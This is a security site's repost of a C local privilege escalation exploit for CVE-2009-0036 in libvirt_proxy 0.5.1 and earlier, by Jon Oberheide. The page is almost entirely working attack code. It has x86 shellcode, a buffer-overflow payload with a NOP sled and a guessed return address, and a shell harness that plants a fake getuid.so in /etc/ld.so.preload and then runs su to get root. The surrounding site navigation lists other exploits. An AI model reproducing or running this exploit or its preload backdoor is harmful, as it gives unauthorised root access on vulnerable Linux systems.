首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit
来源:http://jon.oberheide.org 作者:Oberheide 发布时间:2009-04-28  

/*
 * cve-2009-0036.c
 *
 * libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036
 *
 *   Buffer overflow in the proxyReadClientSocket function in
 *   proxy/libvirt_proxy.c in libvirt_proxy 0.5.1 might allow local users to
 *   gain privileges by sending a portion of the header of a virProxyPacket
 *   packet, and then sending the remainder of the packet with crafted values
 *   in the header, related to use of uninitialized memory in a validation
 *   check.
 *  
 * Usage:
 *
 *   We're guessing to hit our NOP sled, so this program should be run in a
 *   harness.  Since the shellcode will execute /tmp/run as root, the following
 *   harness will insert a malicious getuid.so payload in /etc/ld.so.preload.
 *
 *   #!/bin/sh
 *  
 *   echo "[+] compiling the exploit"
 *   gcc cve-2009-0036.c -o cve-2009-0036
 *  
 *   echo "[+] creating /tmp/getuid.so"
 *   echo "int getuid(){return 0;}" > /tmp/getuid.c
 *   gcc -shared /tmp/getuid.c -o /tmp/getuid.so
 *  
 *   echo "[+] setting up /tmp/run"
 *   echo -e "#!/bin/sh" > /tmp/run
 *   echo -e "touch /tmp/success" >> /tmp/run
 *   echo -e "echo \"/tmp/getuid.so\" > /etc/ld.so.preload" >> /tmp/run
 *   chmod +x /tmp/run
 *  
 *   echo "[+] starting exploit loop"
 *   i=0
 *   rm -f /tmp/success
 *   while [ ! -e "/tmp/success" ]
 *   do
 *           i=$(($i+1))
 *           echo "RUN NUMBER $i"
 *           ./cve-2009-0036
 *   done
 *  
 *   echo "[+] our getuid.so is now in ld.so.preload"
 *   echo "[+] running su to obtain root shell"
 *   su
 *
 * Notes:
 *
 *   Tested on Gentoo Linux 32-bit with GCC 4.3.3-r2 and randomize_va_space=1.
 *   We have a 4096 byte NOP sled before shellcode and EIP followed by 1000
 *   NOP/30 byte shellcode bundles until we cause a EFAULT in libvirt_proxy's
 *   read(2).  Our total sled is usually around 5k-10k NOPs so it'll take
 *   ~800-1600 tries on average to hit it and execute our shellcode.  Each run
 *   takes ~1 second, so exploitation will probably take 10-20 minutes on
 *   average.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PROXY_PATH "/usr/libexec/libvirt_proxy"
#define PROXY_SOCKET_PATH "/tmp/livirt_proxy_conn"
#define PROXY_PROTO_VERSION 1
#define PROXY_PACKET_LENGTH 0xffff

/* simple shellcode to execute /tmp/run */
const char shellcode[]=
 "\x31\xdb"
 "\x8d\x43\x17"
 "\x99"
 "\xcd\x80"
 "\x31\xc9"
 "\x51"
 "\x68\x2f\x72\x75\x6e"
 "\x68\x2f\x74\x6d\x70"
 "\x8d\x41\x0b"
 "\x89\xe3"
 "\xcd\x80";

struct proxy_packet {
 uint16_t version;
 uint16_t command;
 uint16_t serial;
 uint16_t len;
};

int
main(int argc, char **argv)
{
 FILE *fp;
 long ptr;
 int i, fd, pid, ret;
        char *pkt, nop[65536];
 struct sockaddr_un addr;
 struct proxy_packet req;
 struct timeval tv;

 signal(SIGPIPE, SIG_IGN);

 /* guess a random offset to jmp to */
 gettimeofday(&tv, NULL);
 srand((tv.tv_sec ^ tv.tv_usec) ^ getpid());
 ptr = 0xbf000000 + (rand() & 0x00ffffff);

 /* fire up the setuid libvirt_proxy */
 pid = fork();
 if (pid == 0) {
  execl(PROXY_PATH, "libvirt_proxy", NULL);
 }

 memset(nop, '\x90', sizeof(nop));

 /* connect to libvirt_proxy's AF_UNIX socket */
 fd = socket(PF_UNIX, SOCK_STREAM, 0);
 if (fd < 0) {
  printf("[-] failed to create unix socket\n");
  return 1;
 }

 memset(&addr, 0, sizeof(addr));
 addr.sun_family = AF_UNIX;
 addr.sun_path[0] = '\0';
 strncpy(&addr.sun_path[1], PROXY_SOCKET_PATH, strlen(PROXY_SOCKET_PATH));

 printf("[+] connecting to libvirt_proxy\n");

 if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
  printf("[-] cant connect to libvirt_proxy socket\n");
  return 1;
 }

 /* transmit malicious payload to libvirt_proxy */
 pkt = (char *) &req;
 memset(&req, 0, sizeof(req));
 req.version = PROXY_PROTO_VERSION;
 req.len = PROXY_PACKET_LENGTH;

 printf("[+] sending initial packet header\n");
 send(fd, pkt, 7, 0);

 usleep(100000);

 printf("[+] sending corrupted length value\n");
 send(fd, pkt + 7, 1, 0);

 printf("[+] sending primary NOP sled\n");
 send(fd, nop, 4096, 0);

 printf("[+] sending primary shellcode\n");
 send(fd, shellcode, 28, 0);

 printf("[+] sending EIP overwrite (0x%lx)\n", ptr);
 send(fd, &ptr, 4, 0);

 usleep(100000);

 printf("[+] sending secondary NOP/shellcode bundles\n");
 for (i = 0; i < 100; ++i) {
  send(fd, nop, 1000, 0);
  send(fd, shellcode, 28, 0);
 }
 close(fd);

 usleep(800000);

 /* clean slate if our guessed addr failed */
 kill(pid, SIGKILL);

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux内核CAP_KILL校验本地提权
·Destiny Media Player 1.61 (.rd
·Microsoft Internet Infomation
·SDP Downloader 2.3.0 (.ASX) Lo
·SDP Downloader v2.3.0 (.ASX Fi
·SDP Downloader 2.3.0 (.ASX) Lo
·Absolute Form Processor XE-V 1
·Zoom Player Pro v.3.30 .m3u Fi
·Icewarp Merak Mail Server 9.4.
·CoolPlayer Portable 2.19.1 (Sk
·LightBlog <= 9.9.2 (register.p
·Popcorn 1.87 Remote Heap Overf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved